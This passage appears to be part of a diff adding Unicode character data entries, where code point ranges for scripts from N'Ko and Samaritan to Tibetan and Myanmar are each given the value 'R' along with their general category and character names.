+07CA..07EA ; R # Lo [33] NKO LETTER A..NKO LETTER JONA RA
+07EB..07F3 ; R # Mn [9] NKO COMBINING SHORT HIGH TONE..NKO COMBINING DOUBLE DOT ABOVE
+07F4..07F5 ; R # Lm [2] NKO HIGH TONE APOSTROPHE..NKO LOW TONE APOSTROPHE
+07F6 ; R # So NKO SYMBOL OO DENNEN
+07F7..07F9 ; R # Po [3] NKO SYMBOL GBAKURUNEN..NKO EXCLAMATION MARK
+07FA ; R # Lm NKO LAJANYALAN
+0800..0815 ; R # Lo [22] SAMARITAN LETTER ALAF..SAMARITAN LETTER TAAF
+0816..0819 ; R # Mn [4] SAMARITAN MARK IN..SAMARITAN MARK DAGESH
+081A ; R # Lm SAMARITAN MODIFIER LETTER EPENTHETIC YUT
+081B..0823 ; R # Mn [9] SAMARITAN MARK EPENTHETIC YUT..SAMARITAN VOWEL SIGN A
+0824 ; R # Lm SAMARITAN MODIFIER LETTER SHORT A
+0825..0827 ; R # Mn [3] SAMARITAN VOWEL SIGN SHORT A..SAMARITAN VOWEL SIGN U
+0828 ; R # Lm SAMARITAN MODIFIER LETTER I
+0829..082D ; R # Mn [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA
+0830..083E ; R # Po [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU
+0840..0858 ; R # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0859..085B ; R # Mn [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
+085E ; R # Po MANDAIC PUNCTUATION
+0860..086A ; R # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
+08A0..08B4 ; R # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
+08B6..08BD ; R # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
+08D4..08E1 ; R # Mn [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
+08E2 ; R # Cf ARABIC DISPUTED END OF AYAH
+08E3..08FF ; R # Mn [29] ARABIC TURNED DAMMA BELOW..ARABIC MARK SIDEWAYS NOON GHUNNA
+0900..0902 ; R # Mn [3] DEVANAGARI SIGN INVERTED CANDRABINDU..DEVANAGARI SIGN ANUSVARA
+0903 ; R # Mc DEVANAGARI SIGN VISARGA
+0904..0939 ; R # Lo [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
+093A ; R # Mn DEVANAGARI VOWEL SIGN OE
+093B ; R # Mc DEVANAGARI VOWEL SIGN OOE
+093C ; R # Mn DEVANAGARI SIGN NUKTA
+093D ; R # Lo DEVANAGARI SIGN AVAGRAHA
+093E..0940 ; R # Mc [3] DEVANAGARI VOWEL SIGN AA..DEVANAGARI VOWEL SIGN II
+0941..0948 ; R # Mn [8] DEVANAGARI VOWEL SIGN U..DEVANAGARI VOWEL SIGN AI
+0949..094C ; R # Mc [4] DEVANAGARI VOWEL SIGN CANDRA O..DEVANAGARI VOWEL SIGN AU
+094D ; R # Mn DEVANAGARI SIGN VIRAMA
+094E..094F ; R # Mc [2] DEVANAGARI VOWEL SIGN PRISHTHAMATRA E..DEVANAGARI VOWEL SIGN AW
+0950 ; R # Lo DEVANAGARI OM
+0951..0957 ; R # Mn [7] DEVANAGARI STRESS SIGN UDATTA..DEVANAGARI VOWEL SIGN UUE
+0958..0961 ; R # Lo [10] DEVANAGARI LETTER QA..DEVANAGARI LETTER VOCALIC LL
+0962..0963 ; R # Mn [2] DEVANAGARI VOWEL SIGN VOCALIC L..DEVANAGARI VOWEL SIGN VOCALIC LL
+0964..0965 ; R # Po [2] DEVANAGARI DANDA..DEVANAGARI DOUBLE DANDA
+0966..096F ; R # Nd [10] DEVANAGARI DIGIT ZERO..DEVANAGARI DIGIT NINE
+0970 ; R # Po DEVANAGARI ABBREVIATION SIGN
+0971 ; R # Lm DEVANAGARI SIGN HIGH SPACING DOT
+0972..097F ; R # Lo [14] DEVANAGARI LETTER CANDRA A..DEVANAGARI LETTER BBA
+0980 ; R # Lo BENGALI ANJI
+0981 ; R # Mn BENGALI SIGN CANDRABINDU
+0982..0983 ; R # Mc [2] BENGALI SIGN ANUSVARA..BENGALI SIGN VISARGA
+0985..098C ; R # Lo [8] BENGALI LETTER A..BENGALI LETTER VOCALIC L
+098F..0990 ; R # Lo [2] BENGALI LETTER E..BENGALI LETTER AI
+0993..09A8 ; R # Lo [22] BENGALI LETTER O..BENGALI LETTER NA
+09AA..09B0 ; R # Lo [7] BENGALI LETTER PA..BENGALI LETTER RA
+09B2 ; R # Lo BENGALI LETTER LA
+09B6..09B9 ; R # Lo [4] BENGALI LETTER SHA..BENGALI LETTER HA
+09BC ; R # Mn BENGALI SIGN NUKTA
+09BD ; R # Lo BENGALI SIGN AVAGRAHA
+09BE..09C0 ; R # Mc [3] BENGALI VOWEL SIGN AA..BENGALI VOWEL SIGN II
+09C1..09C4 ; R # Mn [4] BENGALI VOWEL SIGN U..BENGALI VOWEL SIGN VOCALIC RR
+09C7..09C8 ; R # Mc [2] BENGALI VOWEL SIGN E..BENGALI VOWEL SIGN AI
+09CB..09CC ; R # Mc [2] BENGALI VOWEL SIGN O..BENGALI VOWEL SIGN AU
+09CD ; R # Mn BENGALI SIGN VIRAMA
+09CE ; R # Lo BENGALI LETTER KHANDA TA
+09D7 ; R # Mc BENGALI AU LENGTH MARK
+09DC..09DD ; R # Lo [2] BENGALI LETTER RRA..BENGALI LETTER RHA
+09DF..09E1 ; R # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
+09E2..09E3 ; R # Mn [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL
+09E6..09EF ; R # Nd [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE
+09F0..09F1 ; R # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09F2..09F3 ; R # Sc [2] BENGALI RUPEE MARK..BENGALI RUPEE SIGN
+09F4..09F9 ; R # No [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
+09FA ; R # So BENGALI ISSHAR
+09FB ; R # Sc BENGALI GANDA MARK
+09FC ; R # Lo BENGALI LETTER VEDIC ANUSVARA
+09FD ; R # Po BENGALI ABBREVIATION SIGN
+0A01..0A02 ; R # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
+0A03 ; R # Mc GURMUKHI SIGN VISARGA
+0A05..0A0A ; R # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
+0A0F..0A10 ; R # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
+0A13..0A28 ; R # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
+0A2A..0A30 ; R # Lo [7] GURMUKHI LETTER PA..GURMUKHI LETTER RA
+0A32..0A33 ; R # Lo [2] GURMUKHI LETTER LA..GURMUKHI LETTER LLA
+0A35..0A36 ; R # Lo [2] GURMUKHI LETTER VA..GURMUKHI LETTER SHA
+0A38..0A39 ; R # Lo [2] GURMUKHI LETTER SA..GURMUKHI LETTER HA
+0A3C ; R # Mn GURMUKHI SIGN NUKTA
+0A3E..0A40 ; R # Mc [3] GURMUKHI VOWEL SIGN AA..GURMUKHI VOWEL SIGN II
+0A41..0A42 ; R # Mn [2] GURMUKHI VOWEL SIGN U..GURMUKHI VOWEL SIGN UU
+0A47..0A48 ; R # Mn [2] GURMUKHI VOWEL SIGN EE..GURMUKHI VOWEL SIGN AI
+0A4B..0A4D ; R # Mn [3] GURMUKHI VOWEL SIGN OO..GURMUKHI SIGN VIRAMA
+0A51 ; R # Mn GURMUKHI SIGN UDAAT
+0A59..0A5C ; R # Lo [4] GURMUKHI LETTER KHHA..GURMUKHI LETTER RRA
+0A5E ; R # Lo GURMUKHI LETTER FA
+0A66..0A6F ; R # Nd [10] GURMUKHI DIGIT ZERO..GURMUKHI DIGIT NINE
+0A70..0A71 ; R # Mn [2] GURMUKHI TIPPI..GURMUKHI ADDAK
+0A72..0A74 ; R # Lo [3] GURMUKHI IRI..GURMUKHI EK ONKAR
+0A75 ; R # Mn GURMUKHI SIGN YAKASH
+0A81..0A82 ; R # Mn [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA
+0A83 ; R # Mc GUJARATI SIGN VISARGA
+0A85..0A8D ; R # Lo [9] GUJARATI LETTER A..GUJARATI VOWEL CANDRA E
+0A8F..0A91 ; R # Lo [3] GUJARATI LETTER E..GUJARATI VOWEL CANDRA O
+0A93..0AA8 ; R # Lo [22] GUJARATI LETTER O..GUJARATI LETTER NA
+0AAA..0AB0 ; R # Lo [7] GUJARATI LETTER PA..GUJARATI LETTER RA
+0AB2..0AB3 ; R # Lo [2] GUJARATI LETTER LA..GUJARATI LETTER LLA
+0AB5..0AB9 ; R # Lo [5] GUJARATI LETTER VA..GUJARATI LETTER HA
+0ABC ; R # Mn GUJARATI SIGN NUKTA
+0ABD ; R # Lo GUJARATI SIGN AVAGRAHA
+0ABE..0AC0 ; R # Mc [3] GUJARATI VOWEL SIGN AA..GUJARATI VOWEL SIGN II
+0AC1..0AC5 ; R # Mn [5] GUJARATI VOWEL SIGN U..GUJARATI VOWEL SIGN CANDRA E
+0AC7..0AC8 ; R # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
+0AC9 ; R # Mc GUJARATI VOWEL SIGN CANDRA O
+0ACB..0ACC ; R # Mc [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU
+0ACD ; R # Mn GUJARATI SIGN VIRAMA
+0AD0 ; R # Lo GUJARATI OM
+0AE0..0AE1 ; R # Lo [2] GUJARATI LETTER VOCALIC RR..GUJARATI LETTER VOCALIC LL
+0AE2..0AE3 ; R # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AE6..0AEF ; R # Nd [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE
+0AF0 ; R # Po GUJARATI ABBREVIATION SIGN
+0AF1 ; R # Sc GUJARATI RUPEE SIGN
+0AF9 ; R # Lo GUJARATI LETTER ZHA
+0AFA..0AFF ; R # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
+0B01 ; R # Mn ORIYA SIGN CANDRABINDU
+0B02..0B03 ; R # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
+0B05..0B0C ; R # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
+0B0F..0B10 ; R # Lo [2] ORIYA LETTER E..ORIYA LETTER AI
+0B13..0B28 ; R # Lo [22] ORIYA LETTER O..ORIYA LETTER NA
+0B2A..0B30 ; R # Lo [7] ORIYA LETTER PA..ORIYA LETTER RA
+0B32..0B33 ; R # Lo [2] ORIYA LETTER LA..ORIYA LETTER LLA
+0B35..0B39 ; R # Lo [5] ORIYA LETTER VA..ORIYA LETTER HA
+0B3C ; R # Mn ORIYA SIGN NUKTA
+0B3D ; R # Lo ORIYA SIGN AVAGRAHA
+0B3E ; R # Mc ORIYA VOWEL SIGN AA
+0B3F ; R # Mn ORIYA VOWEL SIGN I
+0B40 ; R # Mc ORIYA VOWEL SIGN II
+0B41..0B44 ; R # Mn [4] ORIYA VOWEL SIGN U..ORIYA VOWEL SIGN VOCALIC RR
+0B47..0B48 ; R # Mc [2] ORIYA VOWEL SIGN E..ORIYA VOWEL SIGN AI
+0B4B..0B4C ; R # Mc [2] ORIYA VOWEL SIGN O..ORIYA VOWEL SIGN AU
+0B4D ; R # Mn ORIYA SIGN VIRAMA
+0B56 ; R # Mn ORIYA AI LENGTH MARK
+0B57 ; R # Mc ORIYA AU LENGTH MARK
+0B5C..0B5D ; R # Lo [2] ORIYA LETTER RRA..ORIYA LETTER RHA
+0B5F..0B61 ; R # Lo [3] ORIYA LETTER YYA..ORIYA LETTER VOCALIC LL
+0B62..0B63 ; R # Mn [2] ORIYA VOWEL SIGN VOCALIC L..ORIYA VOWEL SIGN VOCALIC LL
+0B66..0B6F ; R # Nd [10] ORIYA DIGIT ZERO..ORIYA DIGIT NINE
+0B70 ; R # So ORIYA ISSHAR
+0B71 ; R # Lo ORIYA LETTER WA
+0B72..0B77 ; R # No [6] ORIYA FRACTION ONE QUARTER..ORIYA FRACTION THREE SIXTEENTHS
+0B82 ; R # Mn TAMIL SIGN ANUSVARA
+0B83 ; R # Lo TAMIL SIGN VISARGA
+0B85..0B8A ; R # Lo [6] TAMIL LETTER A..TAMIL LETTER UU
+0B8E..0B90 ; R # Lo [3] TAMIL LETTER E..TAMIL LETTER AI
+0B92..0B95 ; R # Lo [4] TAMIL LETTER O..TAMIL LETTER KA
+0B99..0B9A ; R # Lo [2] TAMIL LETTER NGA..TAMIL LETTER CA
+0B9C ; R # Lo TAMIL LETTER JA
+0B9E..0B9F ; R # Lo [2] TAMIL LETTER NYA..TAMIL LETTER TTA
+0BA3..0BA4 ; R # Lo [2] TAMIL LETTER NNA..TAMIL LETTER TA
+0BA8..0BAA ; R # Lo [3] TAMIL LETTER NA..TAMIL LETTER PA
+0BAE..0BB9 ; R # Lo [12] TAMIL LETTER MA..TAMIL LETTER HA
+0BBE..0BBF ; R # Mc [2] TAMIL VOWEL SIGN AA..TAMIL VOWEL SIGN I
+0BC0 ; R # Mn TAMIL VOWEL SIGN II
+0BC1..0BC2 ; R # Mc [2] TAMIL VOWEL SIGN U..TAMIL VOWEL SIGN UU
+0BC6..0BC8 ; R # Mc [3] TAMIL VOWEL SIGN E..TAMIL VOWEL SIGN AI
+0BCA..0BCC ; R # Mc [3] TAMIL VOWEL SIGN O..TAMIL VOWEL SIGN AU
+0BCD ; R # Mn TAMIL SIGN VIRAMA
+0BD0 ; R # Lo TAMIL OM
+0BD7 ; R # Mc TAMIL AU LENGTH MARK
+0BE6..0BEF ; R # Nd [10] TAMIL DIGIT ZERO..TAMIL DIGIT NINE
+0BF0..0BF2 ; R # No [3] TAMIL NUMBER TEN..TAMIL NUMBER ONE THOUSAND
+0BF3..0BF8 ; R # So [6] TAMIL DAY SIGN..TAMIL AS ABOVE SIGN
+0BF9 ; R # Sc TAMIL RUPEE SIGN
+0BFA ; R # So TAMIL NUMBER SIGN
+0C00 ; R # Mn TELUGU SIGN COMBINING CANDRABINDU ABOVE
+0C01..0C03 ; R # Mc [3] TELUGU SIGN CANDRABINDU..TELUGU SIGN VISARGA
+0C05..0C0C ; R # Lo [8] TELUGU LETTER A..TELUGU LETTER VOCALIC L
+0C0E..0C10 ; R # Lo [3] TELUGU LETTER E..TELUGU LETTER AI
+0C12..0C28 ; R # Lo [23] TELUGU LETTER O..TELUGU LETTER NA
+0C2A..0C39 ; R # Lo [16] TELUGU LETTER PA..TELUGU LETTER HA
+0C3D ; R # Lo TELUGU SIGN AVAGRAHA
+0C3E..0C40 ; R # Mn [3] TELUGU VOWEL SIGN AA..TELUGU VOWEL SIGN II
+0C41..0C44 ; R # Mc [4] TELUGU VOWEL SIGN U..TELUGU VOWEL SIGN VOCALIC RR
+0C46..0C48 ; R # Mn [3] TELUGU VOWEL SIGN E..TELUGU VOWEL SIGN AI
+0C4A..0C4D ; R # Mn [4] TELUGU VOWEL SIGN O..TELUGU SIGN VIRAMA
+0C55..0C56 ; R # Mn [2] TELUGU LENGTH MARK..TELUGU AI LENGTH MARK
+0C58..0C5A ; R # Lo [3] TELUGU LETTER TSA..TELUGU LETTER RRRA
+0C60..0C61 ; R # Lo [2] TELUGU LETTER VOCALIC RR..TELUGU LETTER VOCALIC LL
+0C62..0C63 ; R # Mn [2] TELUGU VOWEL SIGN VOCALIC L..TELUGU VOWEL SIGN VOCALIC LL
+0C66..0C6F ; R # Nd [10] TELUGU DIGIT ZERO..TELUGU DIGIT NINE
+0C78..0C7E ; R # No [7] TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR..TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR
+0C7F ; R # So TELUGU SIGN TUUMU
+0C80 ; R # Lo KANNADA SIGN SPACING CANDRABINDU
+0C81 ; R # Mn KANNADA SIGN CANDRABINDU
+0C82..0C83 ; R # Mc [2] KANNADA SIGN ANUSVARA..KANNADA SIGN VISARGA
+0C85..0C8C ; R # Lo [8] KANNADA LETTER A..KANNADA LETTER VOCALIC L
+0C8E..0C90 ; R # Lo [3] KANNADA LETTER E..KANNADA LETTER AI
+0C92..0CA8 ; R # Lo [23] KANNADA LETTER O..KANNADA LETTER NA
+0CAA..0CB3 ; R # Lo [10] KANNADA LETTER PA..KANNADA LETTER LLA
+0CB5..0CB9 ; R # Lo [5] KANNADA LETTER VA..KANNADA LETTER HA
+0CBC ; R # Mn KANNADA SIGN NUKTA
+0CBD ; R # Lo KANNADA SIGN AVAGRAHA
+0CBE ; R # Mc KANNADA VOWEL SIGN AA
+0CBF ; R # Mn KANNADA VOWEL SIGN I
+0CC0..0CC4 ; R # Mc [5] KANNADA VOWEL SIGN II..KANNADA VOWEL SIGN VOCALIC RR
+0CC6 ; R # Mn KANNADA VOWEL SIGN E
+0CC7..0CC8 ; R # Mc [2] KANNADA VOWEL SIGN EE..KANNADA VOWEL SIGN AI
+0CCA..0CCB ; R # Mc [2] KANNADA VOWEL SIGN O..KANNADA VOWEL SIGN OO
+0CCC..0CCD ; R # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
+0CD5..0CD6 ; R # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
+0CDE ; R # Lo KANNADA LETTER FA
+0CE0..0CE1 ; R # Lo [2] KANNADA LETTER VOCALIC RR..KANNADA LETTER VOCALIC LL
+0CE2..0CE3 ; R # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
+0CE6..0CEF ; R # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
+0CF1..0CF2 ; R # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
+0D00..0D01 ; R # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D02..0D03 ; R # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
+0D05..0D0C ; R # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
+0D0E..0D10 ; R # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
+0D12..0D3A ; R # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C ; R # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
+0D3D ; R # Lo MALAYALAM SIGN AVAGRAHA
+0D3E..0D40 ; R # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
+0D41..0D44 ; R # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
+0D46..0D48 ; R # Mc [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI
+0D4A..0D4C ; R # Mc [3] MALAYALAM VOWEL SIGN O..MALAYALAM VOWEL SIGN AU
+0D4D ; R # Mn MALAYALAM SIGN VIRAMA
+0D4E ; R # Lo MALAYALAM LETTER DOT REPH
+0D4F ; R # So MALAYALAM SIGN PARA
+0D54..0D56 ; R # Lo [3] MALAYALAM LETTER CHILLU M..MALAYALAM LETTER CHILLU LLL
+0D57 ; R # Mc MALAYALAM AU LENGTH MARK
+0D58..0D5E ; R # No [7] MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH..MALAYALAM FRACTION ONE FIFTH
+0D5F..0D61 ; R # Lo [3] MALAYALAM LETTER ARCHAIC II..MALAYALAM LETTER VOCALIC LL
+0D62..0D63 ; R # Mn [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
+0D66..0D6F ; R # Nd [10] MALAYALAM DIGIT ZERO..MALAYALAM DIGIT NINE
+0D70..0D78 ; R # No [9] MALAYALAM NUMBER TEN..MALAYALAM FRACTION THREE SIXTEENTHS
+0D79 ; R # So MALAYALAM DATE MARK
+0D7A..0D7F ; R # Lo [6] MALAYALAM LETTER CHILLU NN..MALAYALAM LETTER CHILLU K
+0D82..0D83 ; R # Mc [2] SINHALA SIGN ANUSVARAYA..SINHALA SIGN VISARGAYA
+0D85..0D96 ; R # Lo [18] SINHALA LETTER AYANNA..SINHALA LETTER AUYANNA
+0D9A..0DB1 ; R # Lo [24] SINHALA LETTER ALPAPRAANA KAYANNA..SINHALA LETTER DANTAJA NAYANNA
+0DB3..0DBB ; R # Lo [9] SINHALA LETTER SANYAKA DAYANNA..SINHALA LETTER RAYANNA
+0DBD ; R # Lo SINHALA LETTER DANTAJA LAYANNA
+0DC0..0DC6 ; R # Lo [7] SINHALA LETTER VAYANNA..SINHALA LETTER FAYANNA
+0DCA ; R # Mn SINHALA SIGN AL-LAKUNA
+0DCF..0DD1 ; R # Mc [3] SINHALA VOWEL SIGN AELA-PILLA..SINHALA VOWEL SIGN DIGA AEDA-PILLA
+0DD2..0DD4 ; R # Mn [3] SINHALA VOWEL SIGN KETTI IS-PILLA..SINHALA VOWEL SIGN KETTI PAA-PILLA
+0DD6 ; R # Mn SINHALA VOWEL SIGN DIGA PAA-PILLA
+0DD8..0DDF ; R # Mc [8] SINHALA VOWEL SIGN GAETTA-PILLA..SINHALA VOWEL SIGN GAYANUKITTA
+0DE6..0DEF ; R # Nd [10] SINHALA LITH DIGIT ZERO..SINHALA LITH DIGIT NINE
+0DF2..0DF3 ; R # Mc [2] SINHALA VOWEL SIGN DIGA GAETTA-PILLA..SINHALA VOWEL SIGN DIGA GAYANUKITTA
+0DF4 ; R # Po SINHALA PUNCTUATION KUNDDALIYA
+0E01..0E30 ; R # Lo [48] THAI CHARACTER KO KAI..THAI CHARACTER SARA A
+0E31 ; R # Mn THAI CHARACTER MAI HAN-AKAT
+0E32..0E33 ; R # Lo [2] THAI CHARACTER SARA AA..THAI CHARACTER SARA AM
+0E34..0E3A ; R # Mn [7] THAI CHARACTER SARA I..THAI CHARACTER PHINTHU
+0E3F ; R # Sc THAI CURRENCY SYMBOL BAHT
+0E40..0E45 ; R # Lo [6] THAI CHARACTER SARA E..THAI CHARACTER LAKKHANGYAO
+0E46 ; R # Lm THAI CHARACTER MAIYAMOK
+0E47..0E4E ; R # Mn [8] THAI CHARACTER MAITAIKHU..THAI CHARACTER YAMAKKAN
+0E4F ; R # Po THAI CHARACTER FONGMAN
+0E50..0E59 ; R # Nd [10] THAI DIGIT ZERO..THAI DIGIT NINE
+0E5A..0E5B ; R # Po [2] THAI CHARACTER ANGKHANKHU..THAI CHARACTER KHOMUT
+0E81..0E82 ; R # Lo [2] LAO LETTER KO..LAO LETTER KHO SUNG
+0E84 ; R # Lo LAO LETTER KHO TAM
+0E87..0E88 ; R # Lo [2] LAO LETTER NGO..LAO LETTER CO
+0E8A ; R # Lo LAO LETTER SO TAM
+0E8D ; R # Lo LAO LETTER NYO
+0E94..0E97 ; R # Lo [4] LAO LETTER DO..LAO LETTER THO TAM
+0E99..0E9F ; R # Lo [7] LAO LETTER NO..LAO LETTER FO SUNG
+0EA1..0EA3 ; R # Lo [3] LAO LETTER MO..LAO LETTER LO LING
+0EA5 ; R # Lo LAO LETTER LO LOOT
+0EA7 ; R # Lo LAO LETTER WO
+0EAA..0EAB ; R # Lo [2] LAO LETTER SO SUNG..LAO LETTER HO SUNG
+0EAD..0EB0 ; R # Lo [4] LAO LETTER O..LAO VOWEL SIGN A
+0EB1 ; R # Mn LAO VOWEL SIGN MAI KAN
+0EB2..0EB3 ; R # Lo [2] LAO VOWEL SIGN AA..LAO VOWEL SIGN AM
+0EB4..0EB9 ; R # Mn [6] LAO VOWEL SIGN I..LAO VOWEL SIGN UU
+0EBB..0EBC ; R # Mn [2] LAO VOWEL SIGN MAI KON..LAO SEMIVOWEL SIGN LO
+0EBD ; R # Lo LAO SEMIVOWEL SIGN NYO
+0EC0..0EC4 ; R # Lo [5] LAO VOWEL SIGN E..LAO VOWEL SIGN AI
+0EC6 ; R # Lm LAO KO LA
+0EC8..0ECD ; R # Mn [6] LAO TONE MAI EK..LAO NIGGAHITA
+0ED0..0ED9 ; R # Nd [10] LAO DIGIT ZERO..LAO DIGIT NINE
+0EDC..0EDF ; R # Lo [4] LAO HO NO..LAO LETTER KHMU NYO
+0F00 ; R # Lo TIBETAN SYLLABLE OM
+0F01..0F03 ; R # So [3] TIBETAN MARK GTER YIG MGO TRUNCATED A..TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA
+0F04..0F12 ; R # Po [15] TIBETAN MARK INITIAL YIG MGO MDUN MA..TIBETAN MARK RGYA GRAM SHAD
+0F13 ; R # So TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN
+0F14 ; R # Po TIBETAN MARK GTER TSHEG
+0F15..0F17 ; R # So [3] TIBETAN LOGOTYPE SIGN CHAD RTAGS..TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS
+0F18..0F19 ; R # Mn [2] TIBETAN ASTROLOGICAL SIGN -KHYUD PA..TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS
+0F1A..0F1F ; R # So [6] TIBETAN SIGN RDEL DKAR GCIG..TIBETAN SIGN RDEL DKAR RDEL NAG
+0F20..0F29 ; R # Nd [10] TIBETAN DIGIT ZERO..TIBETAN DIGIT NINE
+0F2A..0F33 ; R # No [10] TIBETAN DIGIT HALF ONE..TIBETAN DIGIT HALF ZERO
+0F34 ; R # So TIBETAN MARK BSDUS RTAGS
+0F35 ; R # Mn TIBETAN MARK NGAS BZUNG NYI ZLA
+0F36 ; R # So TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN
+0F37 ; R # Mn TIBETAN MARK NGAS BZUNG SGOR RTAGS
+0F38 ; R # So TIBETAN MARK CHE MGO
+0F39 ; R # Mn TIBETAN MARK TSA -PHRU
+0F3A ; R # Ps TIBETAN MARK GUG RTAGS GYON
+0F3B ; R # Pe TIBETAN MARK GUG RTAGS GYAS
+0F3C ; R # Ps TIBETAN MARK ANG KHANG GYON
+0F3D ; R # Pe TIBETAN MARK ANG KHANG GYAS
+0F3E..0F3F ; R # Mc [2] TIBETAN SIGN YAR TSHES..TIBETAN SIGN MAR TSHES
+0F40..0F47 ; R # Lo [8] TIBETAN LETTER KA..TIBETAN LETTER JA
+0F49..0F6C ; R # Lo [36] TIBETAN LETTER NYA..TIBETAN LETTER RRA
+0F71..0F7E ; R # Mn [14] TIBETAN VOWEL SIGN AA..TIBETAN SIGN RJES SU NGA RO
+0F7F ; R # Mc TIBETAN SIGN RNAM BCAD
+0F80..0F84 ; R # Mn [5] TIBETAN VOWEL SIGN REVERSED I..TIBETAN MARK HALANTA
+0F85 ; R # Po TIBETAN MARK PALUTA
+0F86..0F87 ; R # Mn [2] TIBETAN SIGN LCI RTAGS..TIBETAN SIGN YANG RTAGS
+0F88..0F8C ; R # Lo [5] TIBETAN SIGN LCE TSA CAN..TIBETAN SIGN INVERTED MCHU CAN
+0F8D..0F97 ; R # Mn [11] TIBETAN SUBJOINED SIGN LCE TSA CAN..TIBETAN SUBJOINED LETTER JA
+0F99..0FBC ; R # Mn [36] TIBETAN SUBJOINED LETTER NYA..TIBETAN SUBJOINED LETTER FIXED-FORM RA
+0FBE..0FC5 ; R # So [8] TIBETAN KU RU KHA..TIBETAN SYMBOL RDO RJE
+0FC6 ; R # Mn TIBETAN SYMBOL PADMA GDAN
+0FC7..0FCC ; R # So [6] TIBETAN SYMBOL RDO RJE RGYA GRAM..TIBETAN SYMBOL NOR BU BZHI -KHYIL
+0FCE..0FCF ; R # So [2] TIBETAN SIGN RDEL NAG RDEL DKAR..TIBETAN SIGN RDEL NAG GSUM
+0FD0..0FD4 ; R # Po [5] TIBETAN MARK BSKA- SHOG GI MGO RGYAN..TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA
+0FD5..0FD8 ; R # So [4] RIGHT-FACING SVASTI SIGN..LEFT-FACING SVASTI SIGN WITH DOTS
+0FD9..0FDA ; R # Po [2] TIBETAN MARK LEADING MCHAN RTAGS..TIBETAN MARK TRAILING MCHAN RTAGS
+1000..102A ; R # Lo [43] MYANMAR LETTER KA..MYANMAR LETTER AU
+102B..102C ; R # Mc [2] MYANMAR VOWEL SIGN TALL AA..MYANMAR VOWEL SIGN AA
+102D..1030 ; R # Mn [4] MYANMAR VOWEL SIGN I..MYANMAR VOWEL SIGN UU
+1031 ; R # Mc MYANMAR VOWEL SIGN E
+1032..1037 ; R # Mn [6] MYANMAR VOWEL SIGN AI..MYANMAR SIGN DOT BELOW
+1038 ; R # Mc MYANMAR SIGN VISARGA
+1039..103A ; R # Mn [2] MYANMAR SIGN VIRAMA..MYANMAR SIGN ASAT
+103B..103C ; R # Mc [2] MYANMAR CONSONANT SIGN MEDIAL YA..MYANMAR CONSONANT SIGN MEDIAL RA
+103D..103E ; R # Mn [2] MYANMAR CONSONANT SIGN MEDIAL WA..MYANMAR CONSONANT SIGN MEDIAL HA
+103F ; R # Lo MYANMAR LETTER GREAT SA
+1040..1049 ; R # Nd [10] MYANMAR DIGIT ZERO..MYANMAR DIGIT NINE
+104A..104F ; R # Po [6] MYANMAR SIGN LITTLE SECTION..MYANMAR SYMBOL GENITIVE
